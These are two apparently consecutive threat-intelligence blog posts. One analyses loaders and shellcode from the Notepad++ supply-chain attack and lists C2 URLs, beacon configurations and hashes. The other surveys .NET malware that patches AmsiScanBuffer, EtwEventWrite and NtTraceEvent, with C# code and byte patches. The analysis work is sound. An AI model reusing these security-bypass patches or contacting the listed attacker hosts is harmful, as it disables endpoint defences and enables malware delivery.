Meterpreter block api resolution stub in windows/custom/reverse_http msfvenom payload
Meterpreter block api resolution stub in windows/custom/reverse_http msfvenom payload

Extracting the LHOST, LPORT, LURI and HTTP headers from the payload is fairly easy. These values match the ones for September-October chain 2.

{
    "path": "/help/Get-Start",
    "http_headers": [
        "Accept: */*",
        "Accept-Language: en-US,en;q=0.5",
        "Connection: close",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
    ],
    "domain": "safe-dns.it.com",
    "port": 443,
    "protocol": "https"
}

NSIS installer also sets the creation date for extracted files. We can deduct, that the first LUA-based archive was probably constructed at 2025-08-18 07:59:14+01:00 because the lua5.1.dll probably didn't change across versions, just the alien.ini payload did. This payload was created at 2025-09-22 09:25:48+01:00.

Name       Length CreationTime           LastWriteTime          LastAccessTime        
----       ------ ------------           -------------          --------------        
a.txt       16901 2026. 02. 09. 19:16:13 2026. 02. 09. 19:16:16 2026. 02. 09. 19:16:16
alien.dll   26112 2018. 01. 30. 19:27:40 2018. 01. 30. 19:27:40 2026. 02. 09. 19:16:28
alien.ini    2093 2025. 09. 22. 9:25:48  2025. 09. 22. 9:25:48  2026. 02. 09. 19:16:28
lua5.1.dll 163840 2025. 08. 18. 7:59:14  2025. 08. 18. 7:59:14  2026. 02. 09. 19:16:28
script.exe  45056 2025. 08. 18. 7:58:32  2025. 08. 18. 7:58:32  2026. 02. 09. 19:16:27
alien.ini (from cd88f4...51d681) Attribute Value Name alien.ini SHA1 0d0f315fd8cf408a483f8e2dd1e69422629ed9fd SHA256 8e7a15c402b4f34b57185e07718cd6511a39a66045792174d21d832d17db2204 TLSH 7D417567DAB61E10E8355838C7AF430104080ACDFDA21E936F19F53071A70A8FDA91E5 KSS upload - VT upload - KTIP upload 2026-02-03 06:33:00+00:00 Size 2093 Source Ukatemi Description Compiled LUA payload (from cd88f4...51d681)
Second similar sample to update.exe 6 return Attribute Value Name update.exe SHA1 c7b2d5933b96e3e99201ca34bee866cfb299db88 SHA256 33e66004447f988f896d3d16efae7cf04bbdd7057272a6ff63daa60af5f2a19d TLSH 50E302277FE0C573FC9A0E711E365F2396BBD9142820CF0B43909A45FA15786CE666B2 KSS upload 2026-02-05 10:10:08+00:00 VT upload 2026-02-06 04:54:49+00:00 KTIP upload 2026-02-05 03:58:00+00:00 Size 153064 Source Ukatemi Description Similar sample to 4d4aec...db4566 alien.ini (from 33e660...f2a19d) Attribute Value SHA1 13d0bb84d261802c5ef5488dfcc448a1987bb83a SHA256 1de73eb2dd620dccfc757e4afcf0f58141e441c21b72c3adfe087c309e79bfed TLSH T1D3417457D2B65E20EA605435CB5B030201094BCCFED11F17AFA9F52052B7178BEBA6AA KSS Upload - VT Upload - KTIP Upload - Size 2193 Source Ukatemi Description Compiled LUA payload (from 33e660...f2a19d)

This sample drops the same LUA components as all other samples using LUA, except for the script payload alien.ini. The decompiled LUA codes only differ in a single line, that sets the library search path:

< package.cpath = "./?.dll"
---
> package.cpath = (arg[0]):match(".*\\") .. "?.dll;" .. package.cpath

The contained shellcode is exactly the same as in the previous similar version:

6b780cf1def14589f7b9d5835f05d24fa2443b6524851f386ec3c9379af68cc6  ./33e660_shellcode
6b780cf1def14589f7b9d5835f05d24fa2443b6524851f386ec3c9379af68cc6  ./cd88f4_shellcode

The timestamps of the legitimate files are the same as before, but here alien.ini was created 1 month later, than the previous one, at 2025-10-21 07:54:40+01:00.

Name       Length CreationTime           LastWriteTime          LastAccessTime        
----       ------ ------------           -------------          --------------        
a.txt       17349 2026. 02. 09. 19:00:02 2026. 02. 09. 19:00:04 2026. 02. 09. 19:00:04
alien.dll   26112 2018. 01. 30. 19:27:40 2018. 01. 30. 19:27:40 2026. 02. 09. 19:00:16
alien.ini    2193 2025. 10. 21. 7:54:40  2025. 10. 21. 7:54:40  2026. 02. 09. 19:00:17
lua5.1.dll 163840 2025. 08. 18. 7:59:14  2025. 08. 18. 7:59:14  2026. 02. 09. 19:00:16
script.exe  45056 2025. 08. 18. 7:58:32  2025. 08. 18. 7:58:32  2026. 02. 09. 19:00:16
Chain 3 # update.exe 7 Attribute Value Name update.exe SHA1 d7ffd7b588880cf61b603346a3557e7cce648c93 SHA256 a511be5164dc1122fb5a7daa3eef9467e43d8458425b15a640235796006590c9 TLSH 19E423255AB1C035C766233F2DB23367DBF680252ACC552743243FFA74966E7228FA94 KSS upload - VT upload 2025-10-22 21:49:28+00:00 KTIP upload 2025-10-06 05:45:00+00:00 Size 697145 Source Rapid7 Description NSIS installer downloaded from http://45.32.144.255/update/update.exe, contains BluetoothService.exe, log.dll and BluetoothService

There are no similar samples to this one in our database.

log.dll Attribute Value Name log.dll SHA1 f7910d943a013eede24ac89d6388c1b98f8b3717 SHA256 3bdc4c0637591533f1d4198a72a33426c01f69bd2e15ceee547866f65e26b7ad TLSH 93835A01B5A1C175E9BE19354428DA754B3EB910DEE1DEAB7789067E4F302C2EE30D2B KSS upload 2025-10-10 19:15:35+00:00 VT upload 2025-10-22 21:50:24+00:00 KTIP upload 2025-12-03 04:41:00+00:00 Size 85504 Source Rapid7 Description Malicious DLL sideloaded by BluetoothService.exe, exporting LogInit, LogWrite

Similarity search to log.dll with a threshold of 40 resulted in 89733 similar files. 430 of these were uploaded into Kaibou later than 2025-06-01. After some manual analysis we found that the similarity comes from the CRT functions. They occupy most part of the binary. The actual functions written by the authors occupy much smaller space in the binary. So while the binary similarity (that TLSH tries to detect) is correct, none of the samples have similar functionality.

Similarity searching for the encrypted shellcode (BluetoothService) is useless as it has 7.999 entropy.

Rapid7 found additional malicious files on the infected server under C:\ProgramData\USOShared directory. conf.c contained a small shellcode loader that downloads and executes the next stage. The shellcode loads Wininet.dll using LoadLibraryA, and uses InternetConnectA and HttpSendRequestA from it to download a file from a specific host with custom headers. The next stage was a Cobalt Strike Beacon.

Loader execution flow for additional artifacts found on the server by Rapid7 (source: Rapid7)
Loader execution flow for additional artifacts found on the server by Rapid7 (source: Rapid7)

The loader samples below were found by Rapid7 in public databases and are similar to the one observed during the incident.

loader sample details Attribute Value Name loader 1 SHA1 c68d09dd50e357fd3de17a70b7724f8949441d77 SHA256 0a9b8df968df41920b6ff07785cbfebe8bda29e6b512c94a3b2a83d10014d2fd TLSH A334E677AB30115DDD2C1974EDB344C518E6EEA0881542FF379F3E188A3D892B9A6E07 KSS upload 2025-05-08 01:57:07+00:00 VT upload 2025-05-07 08:12:59+00:00 KTIP upload 2026-02-02 16:00:00+00:00 Size 233472 Source Rapid7 Description Loader 1 found in public malware repositories similar to loader compiled from conf.c Attribute Value Name loader 2 SHA1 9fbf2195dee991b1e5a727fd51391dcc2d7a4b16 SHA256 e7cd605568c38bd6e0aba31045e1633205d0598c607a855e2e1bca4cca1c6eda TLSH 9A82E73BE31348FDC916D67496FB6B32BCB23D6345A1573D1360D2F51E21AA02DAEA10 KSS upload 2025-06-11 14:57:38+00:00 VT upload 2025-06-09 07:09:33+00:00 KTIP upload 2025-06-09 01:14:00+00:00 Size 18944 Source Rapid7 Description Loader 2 found in public malware repositories similar to loader compiled from conf.c Attribute Value Name loader 3 SHA1 3090ecf034337857f786084fb14e63354e271c5d SHA256 b4169a831292e245ebdffedd5820584d73b129411546e7d3eccf4663d5fc5be3 TLSH 1DB36A2B73E930F8E1768278C8914A15EB76B87647209FAF07A442561F236D18D3EF71 KSS upload - VT upload 2025-03-27 06:42:43+00:00 KTIP upload 2025-03-27 17:52:00+00:00 Size 108032 Source Rapid7 Description Loader 3 found in public malware repositories similar to loader compiled from conf.c Attribute Value Name loader 4 SHA1 9c0eff4deeb626730ad6a05c85eb138df48372ce SHA256 fcc2765305bcd213b7558025b2039df2265c3e0b6401e4833123c461df2de51a TLSH D3C3396873B9C0B9F1768278C5710A05E7FE784646209FAF03A4CE572F636918D3AF61 KSS upload 2025-11-14 20:55:06+00:00 VT upload 2025-11-14 10:27:55+00:00 KTIP upload 2025-11-14 08:50:00+00:00 Size 120416 Source Rapid7 Description Loader 4 found in public malware repositories similar to loader compiled from conf.c

Loaders 1, 2 and 4 are available in our database
Loaders 1, 2 and 4 are available in our database

As all the loaders are available either in our database or VirusTotal, we can perform similarity searches to them. There are no additional similar samples to loaders 1 and 4.

There are no additional similar samples to loader 1 in KSS
There are no additional similar samples to loader 1 in KSS

There are no additional similar samples to loader 4 in KSS
There are no additional similar samples to loader 4 in KSS

There are 23 additional similar samples to loader 2 in KSS
There are 23 additional similar samples to loader 2 in KSS

There are 23 samples in KSS similar to loader 2 (e7cd60...1c6eda). Let's have a closer look! All of them are x64 PE files. The function at 0x401630 posts a message to the current thread and peeks it immediately, checking that the values arrived correctly. If they did, it checks the elapsed time after a sleep(650). These are common sandbox / emulation detection techniques. If all is well, it allocates a heap buffer, copies the encrypted shellcode to it and calls DecryptAndExecuteShellcode (at 0x401595).

Decompiled function from e7cd60...1c6eda that does some sandbox detection and then executes DecryptAndExecuteShellcode
Decompiled function from e7cd60...1c6eda that does some sandbox detection and then executes DecryptAndExecuteShellcode

Global variables related to shellcode decryption in e7cd60...1c6eda
Global variables related to shellcode decryption in e7cd60...1c6eda

Shellcode decryption is just a XOR with the fixed 4 byte global key. Then the shellcode is executed using CreateThread.

Shellcode decryption and execution in e7cd60...1c6eda
Shellcode decryption and execution in e7cd60...1c6eda

We note that the WriteModuleHandleRefAndGetProcAddress function (at 0x401563) has no effect in this sample. It would write the address of GetModuleHandleA and GetProcAddress to the shellcode at offsets from DAT_0040302c and DAT_00403030 global variables. But these are 0 in this sample. We think that this loader may be used with other shellcode payloads, that need these functions.

Unused function probably for shellcodes that need GetModuleHandleA and GetProcAddress
Unused function probably for shellcodes that need GetModuleHandleA and GetProcAddress

Of the 23 similar samples returned by KSS:

  • 12 are only similar because of CRT
  • 11 implement the exact same functionality with different payloads
Similar sample details Attribute Value SHA1 34596b4e8b539af3c6c90285a2824511b156fa19 SHA256 055f7fce25108a9b04668161b8ec88a729ef1c488e6fb2de27c857749f241c11 TLSH 7C82C63BE31358FDC916D6B496FB66327CB2396306A1573E1330D6F51E216A02E9FA10 KSS Upload 2024-08-26 10:25:02+00:00 VT Upload 2024-08-25 02:55:53+00:00 KTIP Upload 2024-08-25 05:09:00+00:00 Size 18944 Attribute Value SHA1 a7fdcb55424e8b68a94d5b9cd59c4731c5707124 SHA256 07f24f0d1a2eb63c20c7eb2909ead1aa36681fe49fc22b8222e23a4fbd53bbeb TLSH 2682D73BE31358FCC916D67496FB6B327CB239A306A1473D2370D6F51E216A02D9EA10 KSS Upload 2024-11-25 11:37:11+00:00 VT Upload 2024-11-22 09:34:05+00:00 KTIP Upload 2024-11-22 11:27:00+00:00 Size 18944 Attribute Value SHA1 d97e19ca7439952a3d448d9d7a3a8820f8939398 SHA256 15e012d0a176409a0921ca088ce61b2be7b15c5af092315e56ef9234d31e7f90 TLSH 2E82E81BE31348FCC916D67496FB6B3278B23DA106A1473D3368D2F51F216A02DAEA11 KSS Upload 2022-03-23 16:33:30+00:00 VT Upload 2022-03-18 00:31:46+00:00 KTIP Upload 2022-03-13 23:51:00+00:00 Size 18944 Attribute Value SHA1 5562dcbb2b5dc98e4469bdd684f9dc18b43c50f7 SHA256 7811fb7661957f1b7689bf0d69068cc39fa93cff235260ab5f35b5fd493d6ceb TLSH DA82D73BE31348FDC516D6B495FB6B327CB2799306A1573D1260D2F51F216A02E9EA10 KSS Upload 2025-09-12 23:09:13+00:00 VT Upload - KTIP Upload 2025-09-11 16:14:00+00:00 Size 18944 Attribute Value SHA1 79b0b78afadf13ef38d9d98365a296e95e368426 SHA256 b479247df50f458ba3da9107e89b37ff732a688a9aab152c82f31d41f3fb269b TLSH DE82D77BE21398FCC916D6B496FB67327CB239A306A0473D1360D1F51F216A02E9EA15 KSS Upload 2025-04-16 04:32:29+00:00 VT Upload 2025-05-01 07:25:58+00:00 KTIP Upload - Size 18944 Attribute Value SHA1 e180f2c7efae2151d9292510c444c575ed786410 SHA256 b76d2570f60d51bdbad3216989b3266cea7c71496a24b719a976dde620761e47 TLSH 2182D63BE31348FCC916D67495FB6A327CB2396346A1573D1360E2F51E21AA02DAEA11 KSS Upload 2024-01-10 03:08:57+00:00 VT Upload 2024-01-10 13:52:16+00:00 KTIP Upload 2024-01-09 23:38:00+00:00 Size 18944 Attribute Value SHA1 c8deff347d505012aa9632ef3fcdccf492b6c104 SHA256 b99715064cf004cf3361ada06f5bb9586970e1c76ffa2b8a85cdd97b9362b707 TLSH 3B82D63BE31348FCC916D6B496FB2732BCB239A345A1573E1360D2F51F216A06D6EA11 KSS Upload 2025-05-21 04:20:30+00:00 VT Upload 2025-05-26 11:13:40+00:00 KTIP Upload 2025-05-20 11:50:00+00:00 Size 18944 Attribute Value SHA1 cbb8a3208e5fb83610ac75b671cd629c6e3481fc SHA256 e5aea542ee91767b72924b3379cf0af3da6a8168686eab1621350b96bfadb0de TLSH 5C82D73BE31348FDC516D6B495FB6A327CB23DA305A1573D2370D2F51E216A02DAEA10 KSS Upload 2024-05-21 01:33:46+00:00 VT Upload 2024-05-21 08:23:44+00:00 KTIP Upload 2024-05-20 09:18:00+00:00 Size 18944 Attribute Value SHA1 03bceec136964f101f5f98ce07da9e1a566865e3 SHA256 e65e6051980701ae9bcd600fd08c7be44f8f299c8ad68d8cbddf704f9757c870 TLSH 3982D61BA31348FCC916D6B485FB6B32B8B23D5146A1473E337CD6F51F216A02D9EA11 KSS Upload 2022-07-19 18:47:57+00:00 VT Upload 2022-07-16 13:22:44+00:00 KTIP Upload 2022-07-16 11:34:00+00:00 Size 18944 Attribute Value SHA1 48681fea3928cab8b5d3c3cf997942a83b52ffb9 SHA256 eac8bc6c7c2f64026090b3168ce6637f6b20ede1c40fbbc9c41a38542ec3e888 TLSH 0782F81BE31348FDC516D6B499FB673278B2399146A0473D3378E1F51F21AB02EAEA11 KSS Upload 2024-04-09 18:10:28+00:00 VT Upload 2024-04-06 08:57:08+00:00 KTIP Upload 2024-04-06 07:12:00+00:00 Size 18944 Attribute Value SHA1 922f68545356193ee2aeb39331d4e280dc0a9856 SHA256 fda438bb67c8486045b3fb43fe125a2fb18c939e9630b6d5f007a0278a07619b TLSH 3182D63BE21358FCC916D6B495FB27327CB23DA306A1573D1370D2F51E216A02EAEA15 KSS Upload 2024-09-09 02:34:54+00:00 VT Upload 2024-09-10 06:37:28+00:00 KTIP Upload 2024-09-08 09:25:00+00:00 Size 18944

The samples all have the same size as loader 2 from Rapid7 blog. Similarity can also be observed on their image representations with Hilbert curves.

e7cd60... (loader 2)
e7cd60... (loader 2)
055f7f...
055f7f...
07f24f...
07f24f...
15e012...
15e012...
7811fb...
7811fb...
b47924...
b47924...
b76d25...
b76d25...
b99715...
b99715...
e5aea5...
e5aea5...
e65e60...
e65e60...
eac8bc...
eac8bc...
fda438...
fda438...

Manual analysis of the related samples prove the similarity. For example e7cd60... (loader 2) and 055f7f... only differ in CheckSum in ImageOptionalHeader and G_SHELLCODE_LEN, G_XOR_KEY and G_ENCRYPTED_SHELLCODE global variables. As the original loader is thought to be a custom loader implementation (not a generic, available thing like Metasploit payloads or Cobalt Strike), these similar samples can point us to additional previous targets by the same attacker.

The payloads are similar msfvenom windows/x64/custom/reverse_http shellcodes using wininet functions to load the next stage, so we can extract the LHOST, LPORT, LURI and HTTP headers just like before. Their original source code is available in github metasploit-framework reverse_http_x64.rb. From the shellcodes, we extracted the following configuration:

url / sample first seen headers https://43.136.93.209:8443/center/user_sid

2024-08-25 02:55:53+00:00 (VT) Accept: */*
Accept-Language: en-US,en;q=0.5
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4472.114 Safari/537.36 http://154.8.140.211:8011/VS66V3Ez

2024-11-22 09:34:05+00:00 (VT) User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4472.114 Safari/537.36 https://124.221.160.203:8876/r/www/cache/static/protocol/https/global/js/all_async_search_ef1056e.js

2022-03-13 23:51:00+00:00 (KTIP) Accept: */*
Referer: https://www.baidu.com/
Content-Type: text/javascript
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.96 Safari/537.36 http://81.70.37.146:80/4l5C3VMo

2025-09-11 16:14:00+00:00 (KTIP) User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4472.114 Safari/537.36 https://62.234.11.61:443/76kAq89b

2025-04-16 04:32:29+00:00 (KSS) User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4472.114 Safari/537.36 https://154.8.140.211:4436/ndn97D81

2024-01-09 23:38:00+00:00 (KTIP) User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4472.114 Safari/537.36 https://62.234.11.61:443/K42qGRQQ

2025-05-20 11:50:00+00:00 (KTIP) User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4472.114 Safari/537.36 http://43.138.234.160:8088/center/user_sid

2024-05-20 09:18:00+00:00 (KTIP) Accept: */*
Accept-Language: en-US,en;q=0.5
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4472.114 Safari/537.36 http://185.102.170.167:2002/vFSN

2022-07-16 11:34:00+00:00 (KTIP) User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) https://10.211.55.5:443/Kql5

2024-04-06 07:12:00+00:00 (KTIP) User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 2.0.50727) http://62.234.11.61:443/WKmBPBG3

2024-09-08 09:25:00+00:00 (KTIP) User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4472.114 Safari/537.36

Extracted IP addresses categorized by AS:

IP AS 43.136.93.209
154.8.140.211
124.221.160.203
81.70.37.146
62.234.11.61
43.138.234.160 AS 45090 ( Shenzhen Tencent Computer Systems Company Limited ) 🇨🇳 185.102.170.167 AS 12844 ( Bouygues Telecom SA ) 🇫🇷 10.211.55.5 private

So if the code used for loader 2 is truly uniquely used by only this threat group (believed to be Lotus Blossom), we now know that they've been using this stager with different shellcode configurations since at least 2022-03, with the above IP addresses.

We queried all URLs with the provider parameters and hxxp[://]81.70.37.146:80/4l5C3VMo was live (at 2026-02-12 10:34:58+01:00) and returned the following file:

Sample downloaded from 81.70.37.146 Attribute Value SHA1 e52f65761ffc5b80a439aa3b9ebc47bf300e1650 SHA256 006f0ba963a63d9b2822b139ac806dee71eb6a3382b1b1db74b5cf2e60b57a51 TLSH T1FC83D01B96F1E5074F4D53B43AA2FEEC927352B25C88F8BBB4816451DEF190470A9ACC KSS Upload - VT Upload - KTIP Upload - Size 88139 Source Ukatemi Description Stage 2 of 7811fb...3d6ceb downloader from hxxp[://]81.70.37.146:80/4l5C3VMo matching conf.c

After analysis, we found that this is a file very similar to the one detailed in Analysis of conf.c section of Rapid7 report. In the beginning, it does the same rolling XOR-based decryption:

Rolling XOR-based decryption in 006f0b...b57a51 similar to conf.c in Rapid7 report
Rolling XOR-based decryption in 006f0b...b57a51 similar to conf.c in Rapid7 report

Decrypted stage Attribute Value SHA1 05637ac376c2672d5dc9aa86efcc1fb13d7d00e8 SHA256 be334153e1bfc5ba156ab6a2e6e939990f2cc2ceef553b127d423ab7c4e5d9b1 TLSH T1EB836C12E72438F6EB53A430458AE956BEDF62E38A7C1B0211A554D9FC1FB988DCCD03 KSS Upload - VT Upload - KTIP Upload - Size 88068

The decrypted stage contains a similar section encrypted with CRAZY XOR key. It is a Cobalt Strike (CS) HTTPS beacon with the following configuration:

http-get: 81.70.37.146/api/getBasicInfo/v1
http-post: 81.70.37.146/api/Metadata/submit
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4472.114 Safari/537.36
loader 3 #

There are 3234 similar samples to loader 3 in our database. 1120 of these are newer than 2025-01-01. As the original loader 3 was uploaded to VirusTotal on 2025-03-27, we only processed these newer samples. None of them contained the string clipc.dll. There are 20 that used function NtQuerySystemInformation, we checked these manually but none of them contained similar code snippets as the one highlighted in the Rapid7 report.

There are 3234 samples similar to loader 3
There are 3234 samples similar to loader 3

Future work #

As mentioned in the Rapid7 analysis, the Chrysalis backdoor doesn't seem like a throwaway tool. It would be worth a research to replicate the attack sequence in a virtual environment, debug log.dll until BluetoothService shellcode is loaded, decrypted, jumped on and the main Chrysalis module is decrypted. At this stage, the decrypted module could be dumped from memory. A similarity search might produce additional variants from Kaibou, who knows. Hit me up if you are interested: csongor.tamas@ukatemi.com

The NSIS installer containing everything can be downloaded from MalwareBazaar

If you are interested in getting access to Kaibou Search Services and the 800+ million files within, reach out at kss@ukatemi.com.

IoCs #

hostinger-files.csv
hostinger-ips.txt
kaspersky-files.csv
kaspersky-urls.txt
rapid7-files.csv
rapid7-urls.txt
ukatemi-files.csv
ukatemi-urls.txt

Links #

2025-10-23: Notepad++ forum post about suspicious update activity
2025-11-30: wingup commit to add signature verification
2025-12-01: Notepad++ commit to add signature verification
2025-12-09: Notepad++ announcement about vulnerability fix
2025-12-09: Notepad++ v8.8.9 update includes vulnerability fix
2026-02-02: Notepad++ post announcing the incident
2026-02-05: IoCs from Hostinger
2026-02-02: Rapid7 blog about malicious toolkit used during the attack
2026-02-03: Kaspersky reports what they uncovered from their telemetry
2026-02-03: Validin about the C2 infrastructure
2026-02-03: Hostinger report about the incident
2026-02-04: Blog by Costin Raiu

update 2026-02-13: typos

https://blog.ukatemi.com/blog/2026-02-12-notepad++-supply-chain-samples/
Analysis of .NET AMSI bypass assembly loaders
Show full content
Overview #

During our follow up on Phantom Taurus Assembly Executer samples, we analyzed many .NET samples that implemented some kind of AMSI bypass technique. Though we deemed them unrelated to the original Assembly Executers, they are still interesting from a what's inside a malware database standpoint. In this report we analyze the different kinds of samples.

The process of finding these samples was the following. We searched for similar samples to the two original Assembly Executer V2 samples (that implement AMSI and ETW bypass) in our Kaibou Search Services (KSS) database which at the time of writing contains 777 million malware samples. We used the TLSH similarity search functionality with a fairly high threshold of 80. A more conservative and reliable threshold of 40 didn't provide any samples besides the original ones. More details in the Phantom Taurus samples blog post.

The two Assembly Executer samples only differed in their compilation mode, one was compiled in Release mode, whereas the other was in Debug mode. They yielded 11214 and 1894 potentially similar samples. We proceeded with downloading all of them from our database and generating their decompiled source codes with ilspy. Then we searched for the case-insensitive string amsi in them, which resulted in 59 samples and the 2 original samples. We examined all of them manually and sorted them based on their similar code characteristics. In the end there were 27 different sources.

The following is a semi-structured overview of these samples.

Patches #

All of these samples are some kind of loaders, so their purpose is to try to disable some detection techniques and load the next stage afterwards. First we view how samples try to evade detection by overwriting in-process functions that EDRs use to detect malicious code.

amsi.dll:AmsiScanBuffer #

The most common patch target was amsi.dll:AmsiScanBuffer, 33 programs tried to patch this function. This function is used to "Scan a buffer-full of content for malware." ms docs. The usual way to achieve this was to:

  1. LoadLibrary("amsi.dll") to memory
  2. use GetProcAddress("AmsiScanBuffer") to get its address
  3. VirtualProtect() with PAGE_EXECUTE_READWRITE constant to make a few bytes writable at this address.
  4. overwrite the first few instructions with something ending in ret
  5. restore the previous protection on the memory region
private void BypassAmsi()
{
  string procName = "AmsiScanBuffer";
  IntPtr procAddress = GetProcAddress(LoadLibrary("amsi.dll"), procName);
  byte[] array = new byte[6] { 184, 87, 0, 7, 128, 195 };
  VirtualProtect(procAddress, (UIntPtr)(ulong)array.Length, 64u, out var lpflOldProtect);
  Marshal.Copy(array, 0, procAddress, array.Length);
  VirtualProtect(procAddress, (UIntPtr)(ulong)array.Length, lpflOldProtect, out var _);
}

We observed several different payloads in the samples. The shortest was to just return from the function. This may not work because eax should contain the result code of the funtion call and in this case it is not overwritten so it still holds the value set by the previous function.

C#: { 195 }
00000000  C3                ret

A one step more advanced technique was to also set eax to E_INVALIDARG. This had multiple variants. Some sample distinguished between 32 and 64 bit systems.

Arch: 64 bit
C#: { 184, 87, 0, 7, 128, 195 }
00000000  B857000780        mov eax,0x80070057
00000005  C3                ret

Arch: 32 bit
C#: { 184, 87, 0, 7, 128, 194, 24, 0 }
00000000  B857000780        mov eax,0x80070057
00000005  C21800            ret 0x18

Other samples set this value to eax by setting ax twice and shifting the content up in between. We think this was to evade the common instruction pattern above (directly setting eax).

Arch: 64 bit
C#: { 49, 192, 102, 184, 7, 128, 193, 192, 16, 102, 184, 87, 0, 195 }
00000000  31C0              xor eax,eax
00000002  66B80780          mov ax,0x8007
00000006  C1C010            rol eax,byte 0x10
00000009  66B85700          mov ax,0x57
0000000D  C3                ret

Arch: 32 bit
C#: { 49, 192, 102, 184, 7, 128, 193, 192, 16, 102, 184, 87, 0, 194, 24, 0 }
00000000  31C0              xor eax,eax
00000002  66B80780          mov ax,0x8007
00000006  C1C010            rol eax,byte 0x10
00000009  66B85700          mov ax,0x57
0000000D  C21800            ret 0x18

The final technique was to zero out the edi register right when it should hold the length of the input buffer. So mov edi, r8d where r8d held the buffer length and moved it to edi is overwritten by zeroing out edi with xor edi, edi instruction.

Offset: 27 bytes
C#: { 49, 255, 144 }
00000000  31FF              xor edi,edi
00000002  90                nop

Two samples used the EggHunter method to find AmsiScanBuffer in memory. They search the memory from the address of DllCanUnloadNow for a specific byte pattern that marks the start of AmsiScanBuffer, then overwrite the start just like before.

public static void Patch()
{
  IntPtr procAddress = GetProcAddress(LoadLibrary("amsi.dll"), "DllCanUnloadNow");
  byte[] array = new byte[0];
  array = ((IntPtr.Size != 8) ? new byte[10] { 139, 255, 85, 139, 236, 131, 236, 24, 83, 86 } : new byte[24]
  {
    76, 139, 220, 73, 137, 91, 8, 73, 137, 107,
    16, 73, 137, 115, 24, 87, 65, 86, 65, 87,
    72, 131, 236, 112
  });
  IntPtr pointer = FindAddress(procAddress, array);
  pointer = IntPtr.Subtract(pointer, array.Length - 1);
  uint lpflOldProtect = 0u;
  VirtualProtect(pointer, (UIntPtr)5uL, 4u, out lpflOldProtect);
  Marshal.Copy(new byte[6] { 184, 87, 0, 7, 128, 195 }, 0, pointer, 6);
  uint lpflOldProtect2 = 0u;
  VirtualProtect(pointer, (UIntPtr)5uL, lpflOldProtect, out lpflOldProtect2);
}
ntdll.dll:EtwEventWrite #

Event Tracing for Windows is an efficient kernel-level tracing functionality. The .NET runtime sends it logs in json format, it’s gathering information like namespace names, class names, and method names. EDRs can monitor this for suspicious activity. Event Tracing can be bypassed in-process with a similar overwriting technique.

C#: { 195 }
00000000  C3                ret
C#: { 194, 20, 0 }
00000000  C21400            ret 0x14
Sample info Attribute Value Name ConsoleApp2.dll SHA256 be961ec3f53f23aae46a57b2dcaff91de0d07271802521d33a5afdad5bd569b4 TLSH 36F1F901A7E4446BFC664771FDB786101335FA919D53EF6E798A422F1C1235809A3BB2 KSS upload 2025-06-17 02:53:15 UTC VT upload 2025-06-15 12:17:27 UTC Size 7680 PDB path C:\Users\Administrator\source\repos\ConsoleApp2\ConsoleApp2\obj\Debug\net8.0\ConsoleApp2.pdb Attribute Value Name Downloader.exe SHA256 aad5599b751c7f98b3c0b721bed7cded2ace818e482166dd89f1600efbb9f074 TLSH 6DE1C702DBFC5220EDBA0B317C77434055B1FA129A27CB6D28C6221F1E237A54A63733 KSS upload 2025-03-26 11:34:42 UTC VT upload 2025-03-19 10:09:26 UTC Size 7168 PDB path D:\RedTeamCode\Redteam_shellcode\Downloader\Downloader\obj\Release\Downloader.pdb Attribute Value Name vega.dll SHA256 d9e9460320defd14a1c519b4c4d4162d6cf8f73f3bda735a7baeb9c7cf1a8898 TLSH CBD1C515D3E84B32F8BF0731ADB2A3451AF5F950CB67EB6F4596214A5D323200973762 KSS upload 2021-10-10 15:52:46 UTC VT upload 2021-09-26 21:04:39 UTC Size 6656 PDB path C:\Users\d3adc0de.PCOIPTEST\source\repos\vega\vega\obj\x64\Release\vega.pdb ntdll.dll:NtTraceEvent #

NtTraceEvent is a function that is exported by ntdll.dll and communicates with the kernel. This function is not documented by Microsoft and is used by ETW to tell the kernel about an event. By making it return immediatelly with a return value of 0, the caller gets the information that the event was processed successfully.

Arch: 64 bit
C#: { 72, 51, 192, 195 }
00000000  4833C0            xor rax,rax
00000003  C3                ret

Arch: 32 bit
C#: { 51, 192, 194, 16, 0 }
00000000  33C0              xor eax,eax
00000002  C21000            ret 0x10
Sample info Attribute Value Name Evasion.dll SHA256 c2d07c67865bd79d5a25fd1aa2b6ee529cd4977aaa491494d53eea7f5e9bbc70 TLSH 91D1D815CBE88276ECBA5B31DDB202910572F541DC678B2F94CDD10B6D1F3689AB1731 KSS upload 2023-02-27 16:34:25 UTC VT upload 2023-02-28 01:52:13 UTC Size 6657 PDB path wldp.dll:WldpQueryDynamicCodeTrust #

